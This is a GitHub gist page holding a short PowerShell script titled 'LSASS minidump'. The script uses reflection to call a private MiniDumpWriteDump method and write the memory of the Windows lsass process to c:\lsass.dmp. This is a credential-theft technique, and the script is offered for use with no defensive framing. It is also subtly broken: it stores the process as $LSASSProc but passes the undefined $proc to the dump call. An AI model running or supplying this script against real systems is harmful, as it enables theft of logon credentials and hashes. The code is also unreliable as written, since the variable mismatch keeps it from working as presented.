Last active
April 25, 2020 20:51
-
-
Save natesubra/f043ddd557f7016d2fba22925e9c8589 to your computer and use it in GitHub Desktop.
LSASS minidump
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$LSASSProc = Get-Process lsass | |
$FileStream = New-Object IO.FileStream('c:\lsass.dmp', [IO.FileMode]::Create) | |
$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)) | |
$FileStream.Close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment